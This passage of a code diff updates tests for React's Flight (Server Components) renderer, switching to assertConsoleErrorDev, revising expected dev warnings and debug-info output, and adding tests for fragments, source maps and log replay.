+      startTransition(() => {
+        ReactNoop.render(ReactNoopFlightClient.read(transport));
       });
-    }).toErrorDev(
+    });
+    assertConsoleErrorDev([
       'Each child in a list should have a unique "key" prop.\n' +
         '\n' +
         'Check the render method of `Component`. See https://react.dev/link/warning-keys for more information.\n' +
         '    in span (at **)\n' +
         '    in Component (at **)\n' +
-        (gate(flags => flags.enableOwnerStacks)
-          ? ''
-          : '    in Indirection (at **)\n') +
         '    in App (at **)',
-    );
+    ]);
   });
 
   it('should trigger the inner most error boundary inside a Client Component', async () => {
@@ -1240,17 +1844,24 @@ describe('ReactFlight', () => {
         return 123;
       },
     };
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(<input value={obj} />);
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
+    const transport = ReactNoopFlightServer.render(<input value={obj} />);
+    assertConsoleErrorDev([
       'Only plain objects can be passed to Client Components from Server Components. ' +
         'Objects with toJSON methods are not supported. ' +
         'Convert it manually to a simple value before passing it to props.\n' +
         '  <input value={{toJSON: ...}}>\n' +
         '               ^^^^^^^^^^^^^^^',
-      {withoutStack: true},
-    );
+    ]);
+
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with toJSON methods are not supported. ' +
+        'Convert it manually to a simple value before passing it to props.\n' +
+        '  <input value={{toJSON: ...}}>\n' +
+        '               ^^^^^^^^^^^^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should warn in DEV if a toJSON instance is passed to a host component child', () => {
@@ -1259,43 +1870,62 @@ describe('ReactFlight', () => {
         return 123;
       }
     }
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(
-        <div>Womp womp: {new MyError('spaghetti')}</div>,
-      );
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
+    const transport = ReactNoopFlightServer.render(
+      <div>Womp womp: {new MyError('spaghetti')}</div>,
+    );
+    assertConsoleErrorDev([
       'Error objects cannot be rendered as text children. Try formatting it using toString().\n' +
         '  <div>Womp womp: {Error}</div>\n' +
         '                  ^^^^^^^',
-      {withoutStack: true},
-    );
+    ]);
+
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Error objects cannot be rendered as text children. Try formatting it using toString().\n' +
+        '  <div>Womp womp: {Error}</div>\n' +
+        '                  ^^^^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should warn in DEV if a special object is passed to a host component', () => {
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(<input value={Math} />);
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
+    const transport = ReactNoopFlightServer.render(<input value={Math} />);
+    assertConsoleErrorDev([
       'Only plain objects can be passed to Client Components from Server Components. ' +
         'Math objects are not supported.\n' +
         '  <input value={Math}>\n' +
         '               ^^^^^^',
-      {withoutStack: true},
-    );
+    ]);
+
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Math objects are not supported.\n' +
+        '  <input value={Math}>\n' +
+        '               ^^^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should warn in DEV if an object with symbols is passed to a host component', () => {
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(
-        <input value={{[Symbol.iterator]: {}}} />,
-      );
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
-      'Only plain objects can be passed to Client Components from Server Components. ' +
-        'Objects with symbol properties like Symbol.iterator are not supported.',
-      {withoutStack: true},
+    const transport = ReactNoopFlightServer.render(
+      <input value={{[Symbol.iterator]: {}}} />,
     );
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with symbol properties like Symbol.iterator are not supported.\n' +
+        '  <input value={{}}>\n' +
+        '               ^^^^',
+    ]);
+
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with symbol properties like Symbol.iterator are not supported.\n' +
+        '  <input value={{}}>\n' +
+        '               ^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should warn in DEV if a toJSON instance is passed to a Client Component', () => {
@@ -1308,14 +1938,24 @@ describe('ReactFlight', () => {
       return <div>{value}</div>;
     }
     const Client = clientReference(ClientImpl);
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(<Client value={obj} />);
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
+    const transport = ReactNoopFlightServer.render(<Client value={obj} />);
+    assertConsoleErrorDev([
       'Only plain objects can be passed to Client Components from Server Components. ' +
-        'Objects with toJSON methods are not supported.',
-      {withoutStack: true},
-    );
+        'Objects with toJSON methods are not supported. ' +
+        'Convert it manually to a simple value before passing it to props.\n' +
+        '  <... value={{toJSON: ...}}>\n' +
+        '             ^^^^^^^^^^^^^^^',
+    ]);
+
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with toJSON methods are not supported. ' +
+        'Convert it manually to a simple value before passing it to props.\n' +
+        '  <... value={{toJSON: ...}}>\n' +
+        '             ^^^^^^^^^^^^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should warn in DEV if a toJSON instance is passed to a Client Component child', () => {
@@ -1328,19 +1968,26 @@ describe('ReactFlight', () => {
       return <div>{children}</div>;
     }
     const Client = clientReference(ClientImpl);
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(
-        <Client>Current date: {obj}</Client>,
-      );
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
+    const transport = ReactNoopFlightServer.render(
+      <Client>Current date: {obj}</Client>,
+    );
+    assertConsoleErrorDev([
       'Only plain objects can be passed to Client Components from Server Components. ' +
         'Objects with toJSON methods are not supported. ' +
         'Convert it manually to a simple value before passing it to props.\n' +
         '  <>Current date: {{toJSON: ...}}</>\n' +
         '                  ^^^^^^^^^^^^^^^',
-      {withoutStack: true},
-    );
+    ]);
+
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with toJSON methods are not supported. ' +
+        'Convert it manually to a simple value before passing it to props.\n' +
+        '  <>Current date: {{toJSON: ...}}</>\n' +
+        '                  ^^^^^^^^^^^^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should warn in DEV if a special object is passed to a Client Component', () => {
@@ -1348,16 +1995,22 @@ describe('ReactFlight', () => {
       return <div>{value}</div>;
     }
     const Client = clientReference(ClientImpl);
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(<Client value={Math} />);
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
+    const transport = ReactNoopFlightServer.render(<Client value={Math} />);
+    assertConsoleErrorDev([
       'Only plain objects can be passed to Client Components from Server Components. ' +
         'Math objects are not supported.\n' +
         '  <... value={Math}>\n' +
         '             ^^^^^^',
-      {withoutStack: true},
-    );
+    ]);
+
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Math objects are not supported.\n' +
+        '  <... value={Math}>\n' +
+        '             ^^^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should warn in DEV if an object with symbols is passed to a Client Component', () => {
@@ -1365,16 +2018,26 @@ describe('ReactFlight', () => {
       return <div>{value}</div>;
     }
     const Client = clientReference(ClientImpl);
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(
-        <Client value={{[Symbol.iterator]: {}}} />,
-      );
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
-      'Only plain objects can be passed to Client Components from Server Components. ' +
-        'Objects with symbol properties like Symbol.iterator are not supported.',
-      {withoutStack: true},
+    assertConsoleErrorDev([]);
+    const transport = ReactNoopFlightServer.render(
+      <Client value={{[Symbol.iterator]: {}}} />,
     );
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with symbol properties like Symbol.iterator are not supported.\n' +
+        '  <... value={{}}>\n' +
+        '             ^^^^',
+    ]);
+
+    ReactNoopFlightClient.read(transport);
+
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with symbol properties like Symbol.iterator are not supported.\n' +
+        '  <... value={{}}>\n' +
+        '             ^^^^\n' +
+        '    in  (at **)',
+    ]);
   });
 
   it('should warn in DEV if a special object is passed to a nested object in Client Component', () => {
@@ -1382,18 +2045,22 @@ describe('ReactFlight', () => {
       return <div>{value}</div>;
     }
     const Client = clientReference(ClientImpl);
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(
-        <Client value={{hello: Math, title: <h1>hi</h1>}} />,
-      );
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
-      'Only plain objects can be passed to Client Components from Server Components. ' +
-        'Math objects are not supported.\n' +
-        '  {hello: Math, title: <h1/>}\n' +
-        '          ^^^^',
-      {withoutStack: true},
+    const transport = ReactNoopFlightServer.render(
+      <Client value={{[Symbol.iterator]: {}}} />,
     );
+    ReactNoopFlightClient.read(transport);
+
+    assertConsoleErrorDev([
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with symbol properties like Symbol.iterator are not supported.\n' +
+        '  <... value={{}}>\n' +
+        '             ^^^^',
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Objects with symbol properties like Symbol.iterator are not supported.\n' +
+        '  <... value={{}}>\n' +
+        '             ^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should warn in DEV if a special object is passed to a nested array in Client Component', () => {
@@ -1401,20 +2068,21 @@ describe('ReactFlight', () => {
       return <div>{value}</div>;
     }
     const Client = clientReference(ClientImpl);
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(
-        <Client
-          value={['looooong string takes up noise', Math, <h1>hi</h1>]}
-        />,
-      );
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev(
+    const transport = ReactNoopFlightServer.render(
+      <Client value={['looooong string takes up noise', Math, <h1>hi</h1>]} />,
+    );
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
       'Only plain objects can be passed to Client Components from Server Components. ' +
         'Math objects are not supported.\n' +
         '  [..., Math, <h1/>]\n' +
         '        ^^^^',
-      {withoutStack: true},
-    );
+      'Only plain objects can be passed to Client Components from Server Components. ' +
+        'Math objects are not supported.\n' +
+        '  [..., Math, <h1/>]\n' +
+        '        ^^^^\n' +
+        '    at  (<anonymous>)',
+    ]);
   });
 
   it('should NOT warn in DEV for key getters', () => {
@@ -1424,39 +2092,77 @@ describe('ReactFlight', () => {
 
   it('should warn in DEV a child is missing keys on server component', () => {
     function NoKey({children}) {
-      return <div key="this has a key but parent doesn't" />;
+      return ReactServer.createElement('div', {
+        key: "this has a key but parent doesn't",
+      });
     }
-    expect(() => {
-      const transport = ReactNoopFlightServer.render(
-        <div>{Array(6).fill(<NoKey />)}</div>,
-      );
-      ReactNoopFlightClient.read(transport);
-    }).toErrorDev('Each child in a list should have a unique "key" prop.', {
-      withoutStack: gate(flags => flags.enableOwnerStacks),
-    });
+    // While we're on the server we need to have the Server version active to track component stacks.
+    jest.resetModules();
+    jest.mock('react', () => ReactServer);
+    const transport = ReactNoopFlightServer.render(
+      ReactServer.createElement(
+        'div',
+        null,
+        Array(6).fill(ReactServer.createElement(NoKey)),
+      ),
+    );
+    jest.resetModules();
+    jest.mock('react', () => React);
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in NoKey (at **)',
+      'Each child in a list should have a unique "key" prop. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in NoKey (at **)',
+    ]);
+  });
+
+  it('should warn in DEV a child is missing keys on a fragment', () => {
+    // While we're on the server we need to have the Server version active to track component stacks.
+    jest.resetModules();
+    jest.mock('react', () => ReactServer);
+    const transport = ReactNoopFlightServer.render(
+      ReactServer.createElement(
+        'div',
+        null,
+        Array(6).fill(ReactServer.createElement(ReactServer.Fragment)),
+      ),
+    );
+    jest.resetModules();
+    jest.mock('react', () => React);
+    ReactNoopFlightClient.read(transport);
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in Fragment (at **)',
+      'Each child in a list should have a unique "key" prop. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in Fragment (at **)',
+    ]);
   });
 
   it('should warn in DEV a child is missing keys in client component', async () => {
     function ParentClient({children}) {
       return children;
     }
-    const Parent = clientReference(ParentClient);
-    await expect(async () => {
+
+    await act(async () => {
+      const Parent = clientReference(ParentClient);
       const transport = ReactNoopFlightServer.render(
         <Parent>{Array(6).fill(<div>no key</div>)}</Parent>,
       );
       ReactNoopFlightClient.read(transport);
-      await act(async () => {
-        ReactNoop.render(await ReactNoopFlightClient.read(transport));
-      });
-    }).toErrorDev(
-      gate(flags => flags.enableOwnerStacks)
-        ? 'Each child in a list should have a unique "key" prop.' +
-            '\n\nCheck the top-level render call using <ParentClient>. ' +
-            'See https://react.dev/link/warning-keys for more information.'
-        : 'Each child in a list should have a unique "key" prop. ' +
-            'See https://react.dev/link/warning-keys for more information.',
-    );
+
+      ReactNoop.render(await ReactNoopFlightClient.read(transport));
+    });
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n\n' +
+        'Check the top-level render call using <ParentClient>. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in div (at **)',
+    ]);
   });
 
   it('should error if a class instance is passed to a host component', () => {
@@ -1472,7 +2178,10 @@ describe('ReactFlight', () => {
 
     expect(errors).toEqual([
       'Only plain objects, and a few built-ins, can be passed to Client Components ' +
-        'from Server Components. Classes or null prototypes are not supported.',
+        'from Server Components. Classes or null prototypes are not supported.' +
+        (__DEV__
+          ? '\n' + '  <input value={{}}>\n' + '               ^^^^'
+          : '\n' + '  {value: {}}\n' + '          ^^'),
     ]);
   });
 
@@ -1544,8 +2253,8 @@ describe('ReactFlight', () => {
       });
       expect(ReactNoop).toMatchRenderedOutput(
         <>
-          <div prop=":S1:" />
-          <div prop=":S2:" />
+          <div prop="_S_1_" />
+          <div prop="_S_2_" />
         </>,
       );
     });
@@ -1568,8 +2277,8 @@ describe('ReactFlight', () => {
       });
       expect(ReactNoop).toMatchRenderedOutput(
         <>
-          <div prop=":fooS1:" />
-          <div prop=":fooS2:" />
+          <div prop="_fooS_1_" />
+          <div prop="_fooS_2_" />
         </>,
       );
     });
@@ -1608,8 +2317,8 @@ describe('ReactFlight', () => {
       assertLog(['ClientDoubler']);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
-          <div prop=":S1:">:S1:</div>
-          <div prop=":S1:">:S1:</div>
+          <div prop="_S_1_">_S_1_</div>
+          <div prop="_S_1_">_S_1_</div>
         </>,
       );
     });
@@ -1727,7 +2436,7 @@ describe('ReactFlight', () => {
     expect(errors).toEqual(['Cannot pass a secret token to the client']);
   });
 
-  // @gate enableTaint && enableBinaryFlight
+  // @gate enableTaint
   it('errors when a tainted binary value is serialized', async () => {
     function UserClient({user}) {
       return <span>{user.name}</span>;
@@ -2291,7 +3000,7 @@ describe('ReactFlight', () => {
     );
   });
 
-  // @gate enableFlightReadableStream && enableAsyncIterableChildren
+  // @gate enableAsyncIterableChildren
   it('shares state when moving keyed Server Components that render async iterables', async () => {
     function StatefulClient({name, initial}) {
       const [state] = React.useState(initial);
@@ -2347,6 +3056,7 @@ describe('ReactFlight', () => {
     );
   });
 
+  // @gate !__DEV__ || enableComponentPerformanceTrack
   it('preserves debug info for server-to-server pass through', async () => {
     function ThirdPartyLazyComponent() {
       return <span>!</span>;
@@ -2389,66 +3099,77 @@ describe('ReactFlight', () => {
     );
 
     await act(async () => {
-      const promise = ReactNoopFlightClient.read(transport);
-      expect(getDebugInfo(promise)).toEqual(
+      const result = await ReactNoopFlightClient.read(transport);
+      expect(getDebugInfo(result)).toEqual(
         __DEV__
           ? [
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 22 : 20},
               {
                 name: 'ServerComponent',
                 env: 'Server',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in Object.<anonymous> (at **)'
-                  : undefined,
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {
+                  transport: expect.arrayContaining([]),
+                },
               },
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 53 : 21},
             ]
           : undefined,
       );
-      const result = await promise;
+
       const thirdPartyChildren = await result.props.children[1];
       // We expect the debug info to be transferred from the inner stream to the outer.
-      expect(getDebugInfo(thirdPartyChildren[0])).toEqual(
+      expect(getDebugInfo(await thirdPartyChildren[0])).toEqual(
         __DEV__
           ? [
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22}, // Clamped to the start
               {
                 name: 'ThirdPartyComponent',
                 env: 'third-party',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in Object.<anonymous> (at **)'
-                  : undefined,
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {},
               },
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22},
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 55 : 23}, // This last one is when the promise resolved into the first party.
             ]
           : undefined,
       );
       expect(getDebugInfo(thirdPartyChildren[1])).toEqual(
         __DEV__
           ? [
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22}, // Clamped to the start
               {
                 name: 'ThirdPartyLazyComponent',
                 env: 'third-party',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in myLazy (at **)\n    in lazyInitializer (at **)'
-                  : undefined,
+                key: null,
+                stack: '    in myLazy (at **)\n    in lazyInitializer (at **)',
+                props: {},
               },
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22},
             ]
           : undefined,
       );
-      expect(getDebugInfo(thirdPartyChildren[2])).toEqual(
+      const fragment = thirdPartyChildren[2];
+      expect(getDebugInfo(fragment)).toEqual(
         __DEV__
           ? [
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22},
               {
                 name: 'ThirdPartyFragmentComponent',
                 env: 'third-party',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in Object.<anonymous> (at **)'
-                  : undefined,
+                key: '3',
+                stack: '    in Object.<anonymous> (at **)',
+                props: {},
               },
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 54 : 22},
             ]
           : undefined,
       );
+      expect(getDebugInfo(fragment.props.children[0])).toEqual(
+        __DEV__ ? null : undefined,
+      );
       ReactNoop.render(result);
     });
 
@@ -2461,7 +3182,62 @@ describe('ReactFlight', () => {
     );
   });
 
-  // @gate enableFlightReadableStream && enableAsyncIterableChildren
+  it('preserves debug info for keyed Fragment', async () => {
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Fragment,
+        {key: 'app'},
+        ReactServer.createElement('h1', null, 'App'),
+        ReactServer.createElement('div', null, 'Child'),
+      );
+    }
+
+    const transport = ReactNoopFlightServer.render(
+      ReactServer.createElement(
+        ReactServer.Fragment,
+        null,
+        ReactServer.createElement('link', {key: 'styles'}),
+        ReactServer.createElement(App, null),
+      ),
+    );
+
+    await act(async () => {
+      const root = await ReactNoopFlightClient.read(transport);
+
+      const fragment = root[1];
+      expect(getDebugInfo(fragment)).toEqual(
+        __DEV__
+          ? [
+              {time: 12},
+              {
+                name: 'App',
+                env: 'Server',
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {},
+              },
+              {time: 13},
+            ]
+          : undefined,
+      );
+      // Making sure debug info doesn't get added multiple times on Fragment children
+      expect(getDebugInfo(fragment[0])).toEqual(__DEV__ ? null : undefined);
+      const fragmentChild = fragment[0].props.children[0];
+      expect(getDebugInfo(fragmentChild)).toEqual(__DEV__ ? null : undefined);
+
+      ReactNoop.render(root);
+    });
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <>
+        <link />
+        <h1>App</h1>
+        <div>Child</div>
+      </>,
+    );
+  });
+
+  // @gate enableAsyncIterableChildren && enableComponentPerformanceTrack
   it('preserves debug info for server-to-server pass through of async iterables', async () => {
     let resolve;
     const iteratorPromise = new Promise(r => (resolve = r));
@@ -2496,10 +3272,9 @@ describe('ReactFlight', () => {
       },
     );
 
-    if (gate(flag => flag.enableFlightReadableStream)) {
-      // Wait for the iterator to finish
-      await iteratorPromise;
-    }
+    // Wait for the iterator to finish
+    await iteratorPromise;
+
     await 0; // One more tick for the return value / closing.
 
     const transport = ReactNoopFlightServer.render(
@@ -2507,34 +3282,39 @@ describe('ReactFlight', () => {
     );
 
     await act(async () => {
-      const promise = ReactNoopFlightClient.read(transport);
-      expect(getDebugInfo(promise)).toEqual(
+      const result = await ReactNoopFlightClient.read(transport);
+      expect(getDebugInfo(result)).toEqual(
         __DEV__
           ? [
+              {time: 16},
               {
                 name: 'ServerComponent',
                 env: 'Server',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in Object.<anonymous> (at **)'
-                  : undefined,
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {
+                  transport: expect.arrayContaining([]),
+                },
               },
+              {time: 31},
             ]
           : undefined,
       );
-      const result = await promise;
       const thirdPartyFragment = await result.props.children;
       expect(getDebugInfo(thirdPartyFragment)).toEqual(
         __DEV__
           ? [
+              {time: 32},
               {
                 name: 'Keyed',
                 env: 'Server',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in ServerComponent (at **)'
-                  : undefined,
+                key: 'keyed',
+                stack: '    in ServerComponent (at **)',
+                props: {
+                  children: {},
+                },
               },
+              {time: 33},
             ]
           : undefined,
       );
@@ -2542,14 +3322,15 @@ describe('ReactFlight', () => {
       expect(getDebugInfo(thirdPartyFragment.props.children)).toEqual(
         __DEV__
           ? [
+              {time: 33}, // Clamp to the start
               {
                 name: 'ThirdPartyAsyncIterableComponent',
                 env: 'third-party',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in Object.<anonymous> (at **)'
-                  : undefined,
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {},
               },
+              {time: 33},
             ]
           : undefined,
       );
@@ -2565,6 +3346,171 @@ describe('ReactFlight', () => {
     );
   });
 
+  // @gate !__DEV__ || enableComponentPerformanceTrack
+  it('preserves debug info for server-to-server through use()', async () => {
+    function ThirdPartyComponent() {
+      return 'hi';
+    }
+
+    function ServerComponent({transport}) {
+      // This is a Server Component that receives other Server Components from a third party.
+      const text = ReactServer.use(ReactNoopFlightClient.read(transport));
+      return <div>{text.toUpperCase()}</div>;
+    }
+
+    const thirdPartyTransport = ReactNoopFlightServer.render(
+      <ThirdPartyComponent />,
+      {
+        environmentName: 'third-party',
+      },
+    );
+
+    const transport = ReactNoopFlightServer.render(
+      <ServerComponent transport={thirdPartyTransport} />,
+    );
+
+    await act(async () => {
+      const result = await ReactNoopFlightClient.read(transport);
+      expect(getDebugInfo(result)).toEqual(
+        __DEV__
+          ? [
+              {time: 16},
+              {
+                name: 'ServerComponent',
+                env: 'Server',
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {
+                  transport: expect.arrayContaining([]),
+                },
+              },
+              {time: 16},
+              {
+                name: 'ThirdPartyComponent',
+                env: 'third-party',
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {},
+              },
+              {time: 16},
+              {time: gate(flags => flags.enableAsyncDebugInfo) ? 24 : 17},
+            ]
+          : undefined,
+      );
+      ReactNoop.render(result);
+    });
+
+    expect(ReactNoop).toMatchRenderedOutput(<div>HI</div>);
+  });
+
+  it('preserves error stacks passed through server-to-server with source maps', async () => {
+    async function ServerComponent({transport}) {
+      // This is a Server Component that receives other Server Components from a third party.
+      const thirdParty = ReactServer.use(
+        ReactNoopFlightClient.read(transport, {
+          findSourceMapURL(url) {
+            // By giving a source map url we're saying that we can't use the original
+            // file as the sourceURL, which gives stack traces a about://React/ prefix.
+            return 'source-map://' + url;
+          },
+        }),
+      );
+      // This will throw a third-party error inside the first-party server component.
+      await thirdParty.model;
+      return 'Should never render';
+    }
+
+    async function bar() {
+      throw new Error('third-party-error');
+    }
+
+    async function foo() {
+      await bar();
+    }
+
+    const rejectedPromise = foo();
+
+    const thirdPartyTransport = ReactNoopFlightServer.render(
+      {model: rejectedPromise},
+      {
+        environmentName: 'third-party',
+        onError(x) {
+          if (__DEV__) {
+            return 'a dev digest';
+          }
+          return `digest("${x.message}")`;
+        },
+      },
+    );
+
+    let originalError;
+    try {
+      await rejectedPromise;
+    } catch (x) {
+      originalError = x;
+    }
+    expect(originalError.message).toBe('third-party-error');
+
+    const transport = ReactNoopFlightServer.render(
+      <ServerComponent transport={thirdPartyTransport} />,
+      {
+        onError(x) {
+          if (__DEV__) {
+            return 'a dev digest';
+          }
+          return x.digest; // passthrough
+        },
+      },
+    );
+
+    await 0;
+    await 0;
+    await 0;
+
+    const expectedErrorStack = originalError.stack
+      // Test only the first rows since there's a lot of noise after that is eliminated.
+      .split('\n')
+      .slice(0, 4)
+      .join('\n')
+      .replaceAll(' (/', ' (file:///'); // The eval will end up normalizing these
+
+    let sawReactPrefix = false;
+    const environments = [];
+    await act(async () => {
+      ReactNoop.render(
+        <ErrorBoundary
+          expectedMessage="third-party-error"
+          expectedEnviromentName="third-party"
+          expectedErrorStack={expectedErrorStack}>
+          {ReactNoopFlightClient.read(transport, {
+            findSourceMapURL(url, environmentName) {
+              if (url.startsWith('about://React/')) {
+                // We don't expect to see any React prefixed URLs here.
+                sawReactPrefix = true;
+              }
+              environments.push(environmentName);
+              // My not giving a source map, we should leave it intact.
+              return null;
+            },
+          })}
+        </ErrorBoundary>,
+      );
+    });
+
+    expect(sawReactPrefix).toBe(false);
+    if (__DEV__) {
+      expect(environments.slice(0, 4)).toEqual([
+        'Server',
+        'third-party',
+        'third-party',
+        'third-party',
+      ]);
+    } else {
+      expect(environments).toEqual([]);
+    }
+  });
+
+  // @gate !__DEV__ || enableComponentPerformanceTrack
   it('can change the environment name inside a component', async () => {
     let env = 'A';
     function Component(props) {
@@ -2589,17 +3535,18 @@ describe('ReactFlight', () => {
       expect(getDebugInfo(greeting)).toEqual(
         __DEV__
           ? [
+              {time: 12},
               {
                 name: 'Component',
                 env: 'A',
-                owner: null,
-                stack: gate(flag => flag.enableOwnerStacks)
-                  ? '    in Object.<anonymous> (at **)'
-                  : undefined,
+                key: null,
+                stack: '    in Object.<anonymous> (at **)',
+                props: {},
               },
               {
                 env: 'B',
               },
+              {time: 13},
             ]
           : undefined,
       );
@@ -2609,46 +3556,89 @@ describe('ReactFlight', () => {
     expect(ReactNoop).toMatchRenderedOutput(<div>hi</div>);
   });
 
-  // @gate enableServerComponentLogs && __DEV__
+  // @gate __DEV__
   it('replays logs, but not onError logs', async () => {
     function foo() {
       return 'hello';
     }
+
+    class MyClass {
+      constructor() {
+        this.x = 1;
+      }
+      method() {}
+      get y() {
+        return this.x + 1;
+      }
+      get z() {
+        return this.x + 5;
+      }
+    }
+    Object.defineProperty(MyClass.prototype, 'y', {enumerable: true});
+
+    Object.defineProperty(MyClass, 'name', {value: 'MyClassName'});
+
     function ServerComponent() {
-      console.log('hi', {prop: 123, fn: foo});
+      console.log('hi', {
+        prop: 123,
+        fn: foo,
+        map: new Map([['foo', foo]]),
+        promise: Promise.resolve('yo'),
+        infinitePromise: new Promise(() => {}),
+        Class: MyClass,
+        instance: new MyClass(),
+      });
       throw new Error('err');
     }
 
+    function App() {
+      return ReactServer.createElement(ServerComponent);
+    }
+
+    let ownerStacks = [];
+
     // These tests are specifically testing console.log.
     // Assign to `mockConsoleLog` so we can still inspect it when `console.log`
     // is overridden by the test modules. The original function will be restored
     // after this test finishes by `jest.restoreAllMocks()`.
     const mockConsoleLog = spyOnDevAndProd(console, 'log').mockImplementation(
-      () => {},
+      () => {
+        // Uses server React.
+        ownerStacks.push(normalizeCodeLocInfo(ReactServer.captureOwnerStack()));
+      },
     );
 
-    let transport;
-    expect(() => {
-      // Reset the modules so that we get a new overridden console on top of the
-      // one installed by expect. This ensures that we still emit console.error
-      // calls.
-      jest.resetModules();
-      jest.mock('react', () => require('react/react.react-server'));
-      ReactServer = require('react');
-      ReactNoopFlightServer = require('react-noop-renderer/flight-server');
-      transport = ReactNoopFlightServer.render({
-        root: ReactServer.createElement(ServerComponent),
-      });
-    }).toErrorDev('err');
+    // Reset the modules so that we get a new overridden console on top of the
+    // one installed by expect. This ensures that we still emit console.error
+    // calls.
+    jest.resetModules();
+    jest.mock('react', () => require('react/react.react-server'));
+    ReactServer = require('react');
+    ReactNoopFlightServer = require('react-noop-renderer/flight-server');
+    const transport = ReactNoopFlightServer.render({
+      root: ReactServer.createElement(App),
+    });
+    assertConsoleErrorDev(['Error: err' + '\n    in <stack>']);
 
     expect(mockConsoleLog).toHaveBeenCalledTimes(1);
     expect(mockConsoleLog.mock.calls[0][0]).toBe('hi');
     expect(mockConsoleLog.mock.calls[0][1].prop).toBe(123);
+    expect(ownerStacks).toEqual(['\n    in App (at **)']);
     mockConsoleLog.mockClear();
+    mockConsoleLog.mockImplementation(() => {
+      // Switching to client React.
+      ownerStacks.push(normalizeCodeLocInfo(React.captureOwnerStack()));
+    });
+    ownerStacks = [];
+
+    // Let the Promises resolve.
+    await 0;
+    await 0;
+    await 0;
 
     // The error should not actually get logged because we're not awaiting the root
